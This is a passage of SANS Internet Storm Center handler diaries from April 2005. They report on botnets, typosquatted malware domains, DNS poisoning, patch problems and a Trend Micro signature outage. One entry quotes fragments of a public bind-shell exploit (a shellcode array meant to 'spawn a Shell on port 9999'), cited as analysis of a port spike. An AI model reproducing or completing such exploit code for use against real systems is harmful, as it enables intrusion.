Diaries

Published: 2005-04-30

Malware from China; Googkle is gone; IM Worm/Botnet going in circles

Chinese malware for Breakfast


The day started with fellow handler Kevin Hong reporting a malware hosting site in China. We've mirrored the contents and have started analysis. Getting to the core of the mess turns out to be quite difficult, as most AV tools and debuggers simply claim that the files are corrupt and refuse to analyze them. If the files really were corrupt, this would be the end of it -- but a doubleclick still launches the evil stuff on XP and 2003. Ugh.

Googkle is no more


Remember the diary four days ago when we were reporting a number of malware sites that were conveniently hosted only a typo away from google.com? Yesterday, the DNS hoster (joker.com in Switzerland) has finally taken action and has suspended DNS services for all the malware zones (ghoogle, googkle, etc). Good news for a change.

Freespyware.com


The freeware site Download.com has started a commendable initiative to combat spyware and malware embedded in free software and shareware available through the site. How difficult it is to keep software repositories free of crud was proven today when a reader reported a trojan inside the Bittorrent client "ABC" that he had just retrieved from the download.com mirror. Closer analysis revealed that the package contained an Adware identified as "AdWare.WiAD.af" as well as a keylogger spyware called "Trojan.Win32.Zapchast". The file has been reported to the abuse department of download.com.

New SDBot / Kelvir / Opanki combination making the rounds


A reader reported receiving an email containing a link to a picture that, once downloaded, turned out to be an EXE. The file came from a host within the netpark.net domain and contained a variant of SDBot. The IRC channel used by the botnet initially instructed all bots to download a copy of W32.Kelvir.AJ. After about an hour, the instructions changed, and a copy of W32.Opanki.A (Symantec: W32.Allim.A) was retrieved. Both of these IM worms are retrieved from a box in the angelfire.com domain. W32.Opanki/Allim is a pretty recent (3 days old) AOL IM worm, which in turn again spreads a copy of SDBot by downloading it from a host in the anapereira.com domain. The hosters of the various components have been contacted, and one of the boxes is offline by now, but the botnet itself is virtually unreachable, hidden behind a bunch of obscure hosters and DNS providers in Germany and Italy.
---------------

Daniel Wesemann

EMail: echo "ebojfm/jtdAhnbjm/dpn" | perl -pe 's/(.)/chr(ord($1)-1)/ge'

0 Comments

Published: 2005-04-29

Porn is Evil; Workarounds vs Patching; Hopster; SSH Scans; phpBB Issue; Darwin was Right


Evil Lurks on Porn Sites. Justin sent us a link to a porn site that asks visitors to download and install an executable that contains all of the naughty photos. Boy, were we tempted to download and open that file! Being good incident handlers we remained calm and first ran the executable through one of our favorite scanners. We found it to be just what we expected, a bot variant of some sort. Watch your logs for downloads of "linda.exe" and if you see it then perhaps you got bot.




Workarounds vs Patches. Vinicius sent us a nice note reminding everybody that sometimes we can't immediately patch but that the vendor's workarounds are good security steps to take anyway. He suggests,

I think that we, in general, are too used to say "patch now",
instead of truely studing the viability of workarounds. Many times
workarounds are not exactly "workarounds", they're most times good
practices that if had already been implemented would not let the
system to be exploited even if the vulnerability is present in the
software.
Patches prevents attacks only until next bug announce and don't
isolate the human factor of security (ok, patching is important,
but not always)




Hopster Signatures. Mike would like to know if anybody has developed any good Snort signatures for Hopster. If so, please send them to us via the contact form and we'll make them available for everybody.




SSH Scans Continue. Sebastian wrote to tell us that SSH scans continue unabated and that one of his customers lost a box to a brute force attack. Many virtual hosting companies are now disabling root logins via SSH, requiring customers to log in with an unprivileged account then su to root when needed. Good advice for anybody with an SSH service running. Find your SSH config file (/etc/sshd.config on many systems) and check to make sure this line appears:


PermitRootLogin no



ISC RSS Feed. Thanks to an anonymous reader, we found out that our RSS feed was kaput. It's back up now - http://iscxml.sans.org/rssfeed.xml




More phpBB Issues. Reg worked with a few of our handlers today to solve a recent phpBB issue with one of his servers. Something seems to be amiss with the "admin_forums.php" script and it resulted in a compromise with backdoor. We did some looking around and it seems that others have seen it too:
http://www.securityfocus.com/archive/1/396744

http://www.phpbb.com/phpBB/viewtopic.php?t=285815

If you have seen anything like this, please let us know.




Darwin Was Right. For those who don't hang out on Slashdot, there is a very amusing story going around about a young hacker who tried to raid an opponent's computer after being kicked out of a chat channel. Even Paul Harvey mentioned it today in his radio show. The rest of the story is at
http://www.totalillusions.net/forum/index.php?showtopic=328&st=0




Have a great weekend!




Marcus H. Sachs

Handler on Duty

0 Comments

Published: 2005-04-28

MS05-019 update troubleshooting; Practicing safe forwarding in BIND; 9999/TCP spike;TCPDump Buffer Overflows; MS05-020 POC Released;Spyware Lawsuit

MS05-019/Win2k3 SP1 Update Troubleshooting


More information is available regarding incompatibilities and gotchas after applying this update:

http://www.sans.org/newsletters/newsbites/newsbites.php?vol=7&issue=17#307


Also

http://support.microsoft.com/default.aspx?scid=898060

Safe Forwarding


From: http://www.isc.org/index.pl?/sw/bind/

BIND4/BIND8 Unsuitable for Forwarder Use

If a nameserver -- any nameserver, whether BIND or otherwise -- is
configured to use forwarders, then none of the the target forwarders
can be running BIND4 or BIND8. Upgrade all nameservers used as forwarders to BIND9 . There is a current, wide scale Kashpureff-style DNS cache corruption attack which depends on BIND4 and BIND8 as forwarders targets.

Very useful BIND security matrix illustrating what issues affect which versions of BIND:

http://www.isc.org/sw/bind/bind-security.php

Also be sure to check out the fine template from Team CYMRU:

http://www.cymru.com/Documents/secure-bind-template.html

UPDATE:


Thanks to Paul Vixie and others for re-articulating the forwarding issue more succinctly


If a poisonable dns server uses a nameserver as a forwarder
it should NOT be Bind4/8. Bind4/8 are not vulnerable to
poisoning of the cache via the Kashpureff-style DNS cache
corruption but will pass one poisoned record for a domain
before cleaning its own cache.

So just to be clear its not the case that you can poison the
later versions of Bind4/8 its that Bind 4/8 when acting as
forwarders don't ensure there is no additional records in the
first forwarding instance.


TCP Port 9999 spike?


http://dshield.org/port_report.php?port=9999

A number of spike reports for this port in recent days. Anyone have a good capture?

UPDATE:

It has been suggested that the spike may be related to the proof of concept exploit for MS05-020 referenced below. Does anyone have any data to back that up?

#define RATFILE "rsaci.rat"
unsigned char shellcode[] = { // spawn a Shell on port 9999

We have also had numerous folks mail in pointers to the MySQL MaxDB Webtool exploit (from cybertronic) which also references port 9999 as well as some firewall deny logs for port 9999, but no traffic captures. The mystery continues......

#define PORT 9999

Thanks to everyone for supporting distributed data collection and analysis effort.

UPDATE:


Our friends in Europe who are seeing the port 9999 spike have pointed out they are seeing an immediate connection attempt to port 4444 afterwards which lends credibility to this spike being related to the MaxDB Webtool exploit.

TCPDump Buffer Overflows



3.8/3.9 ISIS_PRINT
3.8 RT_ROUTING_INFO
3.8 LDP_PRINT
3.8/3.9 RSVP_PRINT (Ethereal also affected)

Privilege separation is your friend:

http://taosecurity.blogspot.com/2004/02/tcpdump-with-privilege-separation-in.html

MS05-020 POC Exploit Released by FrSIRT


As detailed here: http://www.frsirt.com/english/advisories/2005/0340

Spyware Lawsuit


My hero.

Spitzer Sues Intermix over Spyware

http://www.msnbc.msn.com/id/7666890/



Anyone have a good location bar spellchecker? If it doesn't check against a dictionary it could at least check against a database of sites previously visited.
If I typed google.com correctly 999 times correctly in the past its likely thats what I wanted this time I typed goofgle[dot]com

---------------

Robert Danford/Handler-on-duty

0 Comments

Published: 2005-04-27

TCP port 1025 activity; continued DNS poisonings; 802.11 security primer

TCP port 1025 activity


After the huge spike in activity on this port on 31 March, things seemed to have calmed down for a while, but we've seen a couple of smaller spikes the last few days (see
http://isc.sans.org/port_details.php?port=1025
). We're still not sure what is causing all of this, so we again ask for assistance if anyone has captured any of this traffic, we'd appreciate any samples you can share.

Continued DNS poisonings


We continue to get reports of sporadic DNS cache poisonings. We've covered this in great detail earlier this month, so we won't spend a lot of time on it except to remind folks that the (maintainer of BIND) agrees that BIND 4 and 8 are no longer suitable for use as forwarders, so, if you are running DNS servers that act as forwarders, please upgrade as soon as possible.

802.11 security primer


Following up on Josh's obligatory wireless notes, we came across the following presentation that does a pretty good job of hitting the high points, for those who may have to explain the issues to upper management.
http://www.bespacific.com/mt/archives/008060.html


-------------------

Jim Clausing and Scott Fendley for Deb Hale

0 Comments

Published: 2005-04-26

Oracle CPU note; Google != Googkle; Obligatory Wireles Factoid

Oracle April Critical Patch Update


Following up on regarding the Oracle April Critical Patch Update, this most recent patch cluster resolves several critical issues in 9i and 10g database releases. Two sections of this patch bundle seem to be the most pressing:


Oracle HTTP Server/Apache

The Oracle HTTP Server is a release of Apache 1.3.22. The April CPU updates the Apache distribution to resolve several Apache bugs, the oldest of which was reported in Jun 22, 2002. If you are using the Oracle HTTP Server product, it is recommended that you apply this patch bundle to resolve several outstanding vulnerabilities. If you are NOT using the Oracle HTTP Server on your database, it is recommended that you remove the software using the Oracle Universal Installer (OUI) tool.


Oracle Built-In Package SQL Injection

Several Oracle packages have been fixed with the April CPU to resolve SQL injection vulnerabilities that can allow an authenticated attacker to cause a denial-of-service attack, or to run arbitrary code as the SYS user with SQL injection techniques. As exploit code is publicly available for these vulnerabilities, it is important that DBA's take action to protect against authorized users escalating their privileges on the database.

The three most important packages that are of concern are DBMS_CDC_PUBLISH, DBMS_CDC_SUBSCRIBE and DBMS_METADATA. As a workaround, DBA's are encouraged to revoke PUBLIC privileges on these functions:


revoke EXECUTE on DBMS_METADATA from PUBLIC;
revoke EXECUTE on DBMS_CDC_PUBLISH from PUBLIC;
revoke EXECUTE on DBMS_CDC_SUBSCRIBE from PUBLIC;


Google != Googkle


Reader Alan Phelps wrote in this morning to alert us to a malicious site that has registered a domain that might be entered as a typo for google.com. DO NOT VISIT THIS SITE! Visiting this site installs about 49 pieces of spyware, uses the local hosts file to block access to popular anti-virus websites, and offers a link to a website that sells AV and anti-spyware tools with the slogan "We help people"... No comment.

Administrators might want to do a quick check on their DNS cache records to see if any users have resolved anything matching "googkle" lately, and then have field support visit the (likely) infested workstations.



Update 2005-04-27 @ 10:21 UTC

Several readers have written in to add that there are several other sites similar to the Googkle site including:


msnm(dot)com, gfoogle(dot)com, ghoogle(dot)com, googfle(dot)com, luycos(dot)com,
msn1(dot)com, passpport(dot)com and xcnn(dot)com.


Did I mention that you should NOT visit these sites?

More information on googkle is available at



Thanks to Juha-Matti Laurio, Barrie Dempster, Gene Chen, Arjan Haringa and anonymous posters who submitted their reports regarding this and other sites.


Obligatory Wireless Factoid


Since I can't complete a diary entry without mentioning wireless security in one way or another, here is something that I've been spending some time looking into lately:


The 802.11e committee has been working on a standard for QoS for quite some time now. They have run into multiple obstacles along the way, not the least of which was a security standard (802.11i) that made it impossible to re-queue packets of low importance for later transmission after they have been encrypted.

The
has recently started certifying vendors for Wireless Multimedia (WMM) interoperability. The WMM specification is planned to be finalized as the 802.11e standard, but early-adopters can get the assurance of multi-vendor interoperability by purchasing products that are WMM certified. This is similar to the Wi-Fi Alliance certifying products for WPA interoperability before the 802.11i standard was ratified.


The WMM specification allows organizations to prioritize traffic into one of four queues:


+ WMM Voice: Highest priority, intended for VoIP

+ WMM Video: Priority over data and legacy hardware

+ WMM Best Effort: Default queue for legacy hardware or unclassified data traffic

+ WMM Background: Intended for low-priority traffic such as file downloads.



Cisco Aironet users can take advantage of WMM functionality in IOS 12.3(2)JA and later. Client adapters will likely need a firmware upgrade to prioritize WMM traffic.

I believe little security-analysis has been done on the impact of WMM and the 802.11i specification, it will be interesting to see how WMM and QoS prioritization queueing affects some of the security requirements of 802.11i.



More information on WMM is available at with Wi-Fi Alliance website at
.



Joshua Wright/Handler-on-duty
Published: 2005-04-25

Update on TrendMicro Pattern 594 Issue; W2K Mainstream Support Ending June 30, 2005; My Computer Has a Rash

Update on TrendMicro Pattern 594 Issue



If you came in to the office this morning, are running a Windows OS on your computer, your computer CPU is maxing out close to 100% utilization and you have a TrendMicro antivirus product installed, please go to the link referenced below.


As reported in the diary on
and on
, TrendMicro had a problem with their Patterm 594 update released Friday afternoon around 15:30 PDT. They have now posted an explanation of the cause and solution on their site .



Juha-Matti posted this morning and provided two links
and

about the impact the TrendMicro pattern update had this weekend on East Japan Railways.


Feedback from ISC Posters



Here's what some of you had to say about this issue:


Anonymous -- "So that's what happened to cause me to spend 5 hours rebuilding my home computer on Saturday!!! Just thought it had to do with a new motherboard install--- but NOOOOO!!!"

Bob - "This was a tough one to diagnose, over the past 10 years, I've just gotten used to auto deploying new signatures without thought. Of course, you don't suspect signatures to be the issue, took hours to identify, THANK YOU SANS!!!!! Packet capture after capture, systems shutdowns, switch, firewall, driver resets later, we finally reactivated our outside connectivity and of course, ISC.SANS.ORG being my HOMEPAGE, we were blessed with your ID of 594 issues. Sure as shineola,
dropping 594 AND then rebooting, voila."

Drew -- "Thank you so much for posting about that definition file! we were fighting @ the hospital for over 6 hours before we found this document, and after we realized what had happened, the network was back up in less than an hour!!"

Paul -- "I just need to vent about the trend problem. First I'd like to say thank you to SANS for posting the information. I wasted three hours of my life trying to bring my system back for a complete lockup! Once the new sigs were loaded blam my system is back to normal. What is the average user going to do? They don't know how to boot their systems up in diagnostic mode? How is their TM client going to get out to the internet to pull the new sigs if the system is pegged at 100%, I mean pegged, not even a chance. How is the average Trend customer going to find out about the problem, go on the internet and read about it? I DON'T THINK SO. They need to sent an alert out.

W2K Mainstream Support Ending June 30, 2005



Microsoft will be ending Mainstream Support for the Windows 2000 product family on June 30, 2005. Extended Support will continue for a further 5 years until June 30, 2010. One of the main differences after this date is that non-security related hotfixes will require an seperate per-incident support contract (and will probably not be available as quickly).

For more information about the Windows 2000 status change, go




My Computer Has a Rash



Brian Krebs has a nice
blog entry on what might happen if your computer visits "some of the seamier online neighborhoods" on the Internet.

0 Comments

Published: 2005-04-24

Raw Sockets; Trend 594 Update; Mac Trojan & More

Microsoft vs. Raw Sockets, Round 2



Apparently heeding the dubious advice of infosec hysteria celebrity , Microsoft has taken another step forward in the neutering of the TCP/IP stack in Windows XP. The removal of raw sockets was one of the "features" included in Service Pack 2. Intrepid hackers soon found a way around this feature. The MS05-019 critical security patch closes this loophole. Fyodor, of
fame, has a
on the situation. Be warned - Fyodor is rabidly anti-Microsoft, so the previous link may be hilarious or infuriating, depending on your bias.



Trend Pattern 594 Update



We're continuing to receive reports from readers who have been impacted by the
, including reports of machines being rebuilt to restore functionality. An ISC reader who prefers to remain anonymous suggest the following solution*:



"If customers are using Trend OfficeScan and have Outbreak Prevention Services, they can active Outbreak mode on the server. This will lock down the firewall on the client machines and allow them to only communicate with the OfficeScan server. The reduction in network traffic being processed by the client should allow enough CPU usage to download (albeit, slowly) the update from the server. This could take several hours depending on the number of clients...it took us about 2 1/2. But, if it works it keeps you from having to touch all 100's, 1000's, or 10's of thousands of clients. Trend has a lot of 30,000+ client customers that were slammed by this and are probably still trying to recover from it. This might help them."



Trend have also posted updated information at




Hopefully this will help any readers out there who haven't already resorted to scorched-earth tactics in dealing with this unfortunate issue. If only they were running Macs, they wouldn't have to run antivirus.



Oh, wait a minute...



Macintosh Trojan "Discovered"



As a Mac aficionado (3 Powerbooks between home & work), I'm happy to report that we've finally warranted some attention from the Malware community. It's about damn time. Intrepid ISC reader Juha-Matti alerted us to Sophos' (brief)
If any readers have spotted this thing in the wild, please let us know.



Symantec Website Restructuring



We had more than one reader write in to let us know that both
and Symantec's were apparently MIA for several hours today. While things are back to normal, I'd be remiss if I didn't point our readers at Chris Mosby's . It's good to see that we're not the only ones who get flamed for site redesigns. ;)


That's all I've got for this diary, fair readers. Some of you may have noticed my semi-absence from handling recently. "Real Work" has been eating up the majority of my time of late, so I'll probably relegate the bulk of my diary writing to rambling lazy Sunday afternoon prose. Feel free to write in subjects you'd like to see researched/covered at length, since Sundays are usually devoid of pressing issues.



Until next time, I leave you with this quote from Deltron 3030:



"Upgrade your gray matter, 'cause some day it may matter."



-----------------------

Cory Altheide

caltheide@isc.sans.org

-----------------------



*As a Linux user, I have been conditioned to recognize a workaround as a type of solution.
Published: 2005-04-23

Problem with Trend Micro Virus Sig 594; Trojan Vundo; Update on Problem with MS05-019; Phishing Site?; DNS Poisoning

We have an early diary today but don't forget to take a look at yesterday diary on DNS problems at Network Solutions; Potential Problems with MS05-019; Filtering SSL.

http://isc.sans.org/diary.php?date=2005-04-22

Trend Micro Virus Sig 594 causes systems to experience high CPU utilization



We have received a few reports from our readers (in particular, thanks to Brad, Anthony and those who prefer to be anonymous) that there are some issues in Trend Micro Virus Sig 594.


All Win 2003 Servers & XP machines with virus sig 594 will cause the systems to experience high 100% CPU utilization.


Apparently, this is due to incompatibility between the scanning engine, the sig file and the platforms.

Trend Micro has provided a new sig 596 to solve this issue.


If you are using Trend Micro antivirus products and your system suddenly lockup, you may want to check this out.

I guess it is a very bad day for those who are using Trend Micro products. Several readers wrote in to say that they were clueless about the "sudden dead" of their systems. It took them several hours and pain to diagnose the problem until they hit our website to spot on the cause. We must thank all our readers who have informed us early so that we can share with the rest of the community as well.

One reader has shared with us that if customers are using Trend OfficeScan and have Outbreak Prevention Services, they can activate Outbreak mode on the server. This will lock down the firewall on the client machines and allow them to only communicate with the OfficeScan server. The reduction in network traffic being processed by the client should allow enough CPU usage to download (albeit, slowly) the update from the server. This could take several hours depending on the number of clients. But if it works, it keeps you from having to touch all 100's, 1000's, or 10's of thousands of clients.

For more information to resolve this issue, please refer to:


http://kb.trendmicro.com/solutions/search/main/search/solutionDetail.asp?solutionId=24263

http://kb.trendmicro.com/solutions/search/main/search/solutionDetail.asp?solutionId=24264

Trojan Vundo



We are seeing apparently a new variant of Trojan Vundo. Symantec has yet to detect it but there is a writeup on it.

http://securityresponse.symantec.com/avcenter/venc/data/trojan.vundo.html


The file matches the description except that the systems were patched for MS04-040.

Below is the result of from VirusTotal scan:


Antivirus Version Update Result
AntiVir 6.30.0.7 04.22.2005 TR/Agent.CS
AVG 718 04.21.2005 Agent.U
BitDefender 7.0 04.23.2005 no virus found
ClamAV devel-20050307 04.22.2005 no virus found
DrWeb 4.32b 04.22.2005 Trojan.Virtumod
eTrust-Iris 7.1.194.0 04.23.2005 Win32/Vundo.AD!DLL!Trojan
eTrust-Vet 11.7.0.0 04.22.2005 Win32.Vundo.AD
Fortinet 2.51 04.23.2005 W32/Agent.FZ-tr
F-Prot 3.16b 04.22.2005 no virus found
Ikarus 2.32 04.22.2005 Trojan.Win32.Agent.CS
Kaspersky 4.0.2.24 04.23.2005 Trojan.Win32.Agent.cs
McAfee 4475 04.22.2005 Generic BackDoor.d
NOD32v2 1.1075 04.23.2005 Win32/Agent.CS
Norman 5.70.10 04.20.2005 no virus found
Panda 8.02.00 04.22.2005 no virus found
Sybari 7.5.1314 04.23.2005 Win32.Vundo.AD
Symantec 8.0 04.22.2005 no virus found
VBA32 3.10.3 04.22.2005 Trojan.Win32.Agent.cs


Let us know if you have experienced the same Trojan.

Update on Problem with MS05-019



Yesterday, we mentioned in our diary that there may have network connectivity problem when applying MS05-019 patch. Microsoft has published an article revealing that network connectivity between clients and servers may fail when applying MS05-019 patch or Windows Server 2003 Service Pack 1. Accordingly to the article, the following symptoms may occur:

* Inability to connect to terminal servers or to file share access.

* Failure of domain controller replication across WAN links.

* Microsoft Exchange servers cannot connect to domain controllers.


If you experience similar issue, you may want to check out the article at:

http://support.microsoft.com/default.aspx?scid=898060

Phishing Site?



One reader received a virus email alert with instructions on how to secure the system. It points you to an "anti-virus" website to purchase an anti-virus scanner to protect your system. The website is pretty simple with a virus alert but no virus information. It definitely looks phishy to me:

http://pcvirusalert.com/

DNS Poisoning



A few readers have informed us they still experience DNS poisoning. We will provide more information when available. If you still encounter the same issue, drop us a note.

0 Comments

Published: 2005-04-22

DNS problems at Network Solutions; Potential Problems with MS05-019; Filtering SSL

DNS problems at Network Solutions



(This story reported by handler Kyle Haugsness)



We have reports from numerous people about problems with the
worldnic.com nameservers and there appears to have been an outage today.
These nameservers provide authoritative nameservers for Network
Solutions customers that don't have their own DNS servers. This outage
reported today on the NANOG mailing list:



http://www.merit.edu/mail.archives/nanog/msg07136.html



However, there seems to be another potential issue. Numerous sites are
reporting problems resolving names against the worldnic servers. There
seems to be a bug in the Symantec gateway products including the SEF
(Raptor) product line. This seems to be known by the Symantec DNS
engineers and they seem to be working on it.



Here is a public post on the issue from Barry Margolin, CISSP, Sr. Technical Support Engineer at Symantec.



"When I investigated, I found that occasionally the worldnic.com servers
will respond to a query with an empty response with the Truncated flag
set. The problem on our end is that the DNS proxy in our firewall seems
to ignore the Truncated flag, rather than retry using TCP (I've reported
this bug to development), so we cache the NOANSWER response (but we have
a hard-coded 60-second negative cache TTL, so the problem usually clears
up shortly)."



Finally, the Network Solutions problems may be causing issues on BIND
servers. The empty response to the UDP query and the Truncated Flag
should force a DNS server to use TCP and ask the question. Apparently,
TCP sessions to those servers are very slow so it is looking like an
outage (or a high number of SYN-SENT sessions to the worldnic.com
servers).



This issue could be wreaking havoc with e-mail delivery. Receiving mail
servers can't lookup MX records from remote servers and reject mail as
spam. Given the large number of DNS queries some spam filters produce,
this can be an issue.


Potential Problems with MS05-019


We are hearing of some problems with the MS05-019 patch. There is a posting by Darryl J. Roberts at


http://archives.neohapsis.com/archives/ntbugtraq/2005-q2/0049.html



Here is what he said:

"After installing the update in Microsoft Security Bulletin MS05-019 on
two servers at a customer site, we are no longer able to connect via VPN
to terminal services on those servers. (Other servers that did not have
the security bulletins from last Tuesday installed can connect via VPN.)


After many hours over two days working with Microsoft Product Support
Services, we discovered that forcing the MTU size down allowed the
client to connect to terminal services. Today Microsoft PSS reported
the they have confirmed that there is a problem with ICMP messages being
incorrectly discarded (other have opened PSS cases about this issue).
This could be why the MTU size is not being set correctly.


There will be an update to the patch in MS05-019, but as of this time,
that update is not available. A Microsoft KB article is being written
and has been assigned the number KB898060, but as to this time, that
article is not publicly available.


I will be uninstalling the update for Security Bulletin MS05-019 from
our customers servers this evening and waiting for the corrected patch
before reinstalling it."


There is also discussion that it doesn't affect all operating systems. Here are some more links:

http://marc.theaimsgroup.com/?l=patchmanagement&r=1&b=200504&w=2
http://www.winserverhelp.com/ftopic22712.html
If anyone has experienced issues with this patch or has other information, please let us know.

Filtering SSL


We had a reader who posed a very good question about filtering SSL. Any type of encrypted traffic, such as SSL or SSH, does blind your previously installed network security tools and may allow for unwanted traffic to enter your network. However, I feel that filtering encrypted traffic poses some serious issues. I would really like to hear how folks are handling encrypted traffic, espcially when its not possible to terminate it outside or right at the gateway to your network. If you
are filtering, have there been any legal issues that have arisen and what have you found that works.


Lorna Hutcheson

Handler on Duty

http://www.iss-md.com

0 Comments

Published: 2005-04-20

RealPlayer Patches, DejaVu & some Mailbag Contributions

News you prolly read already ( ; ^ )

Realplayer/RealOne RAM File Processing Buffer Overflow Vulnerability
Secunia Advisory: SA15023
Release Date: 2005-04-20

http://secunia.com/advisories/15023/

Affected Software - most of it;
Security Patch Update For Realplayer Enterprise


http://www.service.real.com/help/faq/security/security041905.html

Stand alone versions;

http://service.real.com/help/faq/security/050419_player/EN/

Stand alone patches for RealOne and RealPlayer for Windows and Macintosh are available if you use the players "Check for Update".

DejaVu

Trojan.Riler.B
"Discovered on: April 19, 2005
Last Updated on: April 20, 2005 01:26:27 PM
LSP's aren't new, but still sorta notable, ymmv;
Trojan.Riler.B is a back door Trojan horse program that installs itself as a layered service provider (LSP), and allows a remote attacker to have unauthorized access to the compromised system."

http://securityresponse.symantec.com/avcenter/venc/data/trojan.riler.b.html

A "Database" that has an embedded Trojan
"Backdoor.Ryejet is a back door Trojan horse that allows unauthorized remote access to a compromised computer. The Trojan also contains rootkit functionality to hide the presence of its files on the compromised computer. The threat may be distributed embedded in a Microsoft Jet Database".

http://securityresponse.symantec.com/avcenter/venc/data/backdoor.ryejet.html

Slashdot referenced news about Bastille from Jay Beale.

http://software.newsforge.com/software/05/04/19/1256244.shtml?tid=78&tid=2&tid=79
"You can take a look at a Web-only demo of this through this link."

http://www.bastille-linux.org/Reporting/audit-report.html">http://www.bastille-linux.org/Reporting/audit-report.html
Bastille folks, thanks for the continuing work!

Bastille;

http://www.bastille-linux.org/

http://www.bastille-linux.org/credits.html

A nice read/analysis from Kaspersky is "Malware Evolution: January - March 2005", by Alexander Gostev , Senior Virus Analyst, Kaspersky Lab. (thanks Swa!)


http://www.viruslist.com/en/analysis?pubid=162454316

Speaking of malware evolution, and DejaVu .....

As resources permit, I surf the Norman Sandbox regularly to try and keep up on trends etcetera.

A trend
I'm writing about is deletion of shares by unidentified malware. I seem to have seen it regularly lately, or I am noticing it more over the last 6 weeks or so.

I assume I'm seeing only a snippet of the malwares complete behavior in the posted Sandbox analysis.

So I read up on related malware and can only come to the conclusion that the deletion of the shares is a part of a total protection package that probably has other usual components like disabling AV etcetera.

So if the shares are disabled, and not renabled later, the exploited system would just disappear from the network ..... unless discovered by a user reporting a problem, or if it's traffic was noticed by some network defenses, or some admin noticed that the system wasn't updating any one of a number of updates it should have been receiving, etcetera. And the system would receive protection from other malware attacking through shares.

I guess my point is that I don't see much if any related information in searching Norman's kb (or anyones, see below) about this behavior as much as the presence of it in Sandbox analysis shows it to exist (in many pieces of "unknown malware"). fwiw, I can think of network security applications and non-security related applications that can point to a system that used to be "visible" but is no longer visible without shares, it's a simple task. "Your task, should you undertake it", is to determine who that person is that should be checking this type of system disappearence .... and who does the follow-up. ( ; ^ )/(apologies to Mission Impossible fans ..).

Fwiw, some of the research I did;


http://sandbox.norman.no/live_2.html?logfile=105241

http://sandbox.norman.no/live_2.html?logfile=105182

A few other share deletion malware references;

W32.Randex.ATX

http://securityresponse.symantec.com/avcenter/venc/data/w32.randex.atx.html
"Drops and executes the file, %Temp%\secure.bat, which deletes the C$, D$, IPC$ and ADMIN$ shares."

BAT.NetStop.Trojan

http://securityresponse.symantec.com/avcenter/venc/data/bat.netstop.trojan.html

Trojan.Delsha

http://securityresponse.symantec.com/avcenter/venc/data/trojan.delsha.html

Backdoor.IRC.Flood.E

http://securityresponse.symantec.com/avcenter/venc/data/backdoor.irc.flood.e.html

Graps
ALIAS: Worm.Win32.Graps, W32/Graps.worm, W32.HLLW.Graps

http://www.f-secure.com/v-descs/graps.shtml

A fwiw, a piece of typical malware that takes the opposite action...... just to illustrate one reason for the behavior I'm describing;
HLLW.Gaobot

"This is a generic description intended to cover common functionality found in the Gaobot series of worms."

http://www.norman.com/Virus/Virus_descriptions/14822/14823/en-us?show=destructivity

"The worm may also re-enable the following administrative shares on the system:

C$

D$

E$

IPC$

ADMIN$ "

Other;

The Art of Computer Virus Research and Defense
by Peter Szor

ISBN: 0321304543; Published: Feb 3, 2005; Copyright 2005
Published by Addison Wesley in collaboration with Symantec Press (c) 2005.

Updates added;
Contributions from the shift MailBag;


Windows 2000 has a "File Selection May Lead to Command Execution" issue with POC out for it.
The POC recommends that "Until a patch becomes available, disable the Web View by going to: Tools -> Folder Options -> Select 'Use Windows classic folders'".
Thanks for the pointer
anonymous"!


APPLE-SA-2005-04-19 Security Update 2005-004 is available for: iSync 1.5
CVE-ID: CAN-2005-0193
"Impact: A buffer overflow in iSync could lead to local privilege escalation". "Security Update 2005-004 may be obtained from the Software Update pane in System Preferences, or Apple's Software Downloads web site:
http://www.apple.com/support/downloads/ "
Thanks Jim!

POC was released for"ICMP Vulnerability Issues in ICMP packets with TCP payloads".
Get patches from your Vendor, read the original/updated Advisory here:
NISCC Vulnerability Advisory 532967/NISCC/ICMP Vulnerability Issues in ICMP packets with TCP payloads

http://www.uniras.gov.uk/niscc/docs/re-20050412-00303.pdf?lang=en

Patrick Nolan with assists from everyone! Thanks!

0 Comments

Published: 2005-04-19

Syslog'n with the best of 'em;

Syslog - What's your flavor?




(1654GMT)**I would like to point out this is a platform-independent discussion today; we'd like to hear from Windows, *nix, and network administrators**


To 'borrow' from the Great One's format yesterday, we are having an ongoing discussion about syslog'ing. We thought we'd open it up to you, get your feedback, and see what is working in the world today. (We will not be disclosing company names to help protect infrastructure). Submit your ideas to us on our 'Contact' page and we'll get it added in




Rafael Hashimoto mentions one thing I'd like to get up front: "The most important decision about syslogging is what are you going to do with all the fine data that you gathered. Logging without monitoring is useless, so a proper policy, procedures and tools to manage them is essential." While some would disagree, policies and procedures are critical to a solid information security implementation. If, for nothing else, historical data is there for review and inspection purposes.


(1526GMT)
While Christopher uses Syslog's to keep up with what's going on in his world, Ketih primarily uses Kiwi to help gather it for analysis. Whatever method is used to gather the information, it is best to be reviewed on a regular basis, as Rafael mentioned :-)



Jean-Francois has been using syslog-ng for better than 4 years now, and it works great. He mentioned also "playing with php-syslog-ng with added functionalities developped by my good friend Jason Taylor (http://deathstar.com/PhpSyslogNG/)"



One reader, who requested remain anonymous, submitted an excellent site, well worth the visit
-
-VB.NET - (http://scaleovenstove.blogspot.com/2005/04/how-to-make-your-own-syslog-sever-in.html)



(1725GMT) Nathan Bates wrote in with some good ideas, as well as a great tool for parsing, correlating, and notifying for events. Using syslogd, and Logic, (the tool mentioned in the link below) he runs two syslogd servers to stay on top of what's going on.


https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys




(1958GMT) Dean De Beer writes "We use Eventsentry from Netikus. We are a Windows only shop (we have a few Linux Snort IDSes though). Eventsentry installs a service on the servers and/or workstations and logs all events or only specified events back to a MySQL database. It has an .asp or .php web front-end that allows for reading and querying the databases. It's pretty easy to configure too."





Cornelius Bartke writes "it is of paramount importance that syslog entries are made with the correct time stamp. If no ntp service is available, GPS- or radio-controlled clocks ("DCF77") are alternatives to keep the hosts synchronized." Good point, log analysis with accurate and synchronized times is critical.




(2115GMT) Another reader submits that they "use syslogd and have it rolled into our SSL-secured MRTG front-end, which gives us a one stop place to view all of our gathered network statistics." Event correlation for reviewing purposes(one-stop reviewing, so to speak) makes life much easier in determing what's going on in the world.

(2359GMT)



Summary of the days activities




To say the least it has been an interesting day, with some great input from you, the readers. First off, I'd like to send a big "Thank you" out to all those who submitted today. I hope that I have conveyed your messages accurately. Second, it is the hope of all the Handlers that we have passed on some good information to give you some new ideas, tools, and processes to better protect your network and systems. Last, I'd like to say "Thank you" to my co-Handlers for keeping me on my toes.



Have a great night/day!

Tony Carothers

Information Systems Support, Inc.

Handler on Duty

tony dot carothers at gmail dot com

0 Comments

Published: 2005-04-18

Be Careful What You Filter and Anti-Spyware Infrastructure Ideas

*** Be Careful With Your Blocking Rules ***

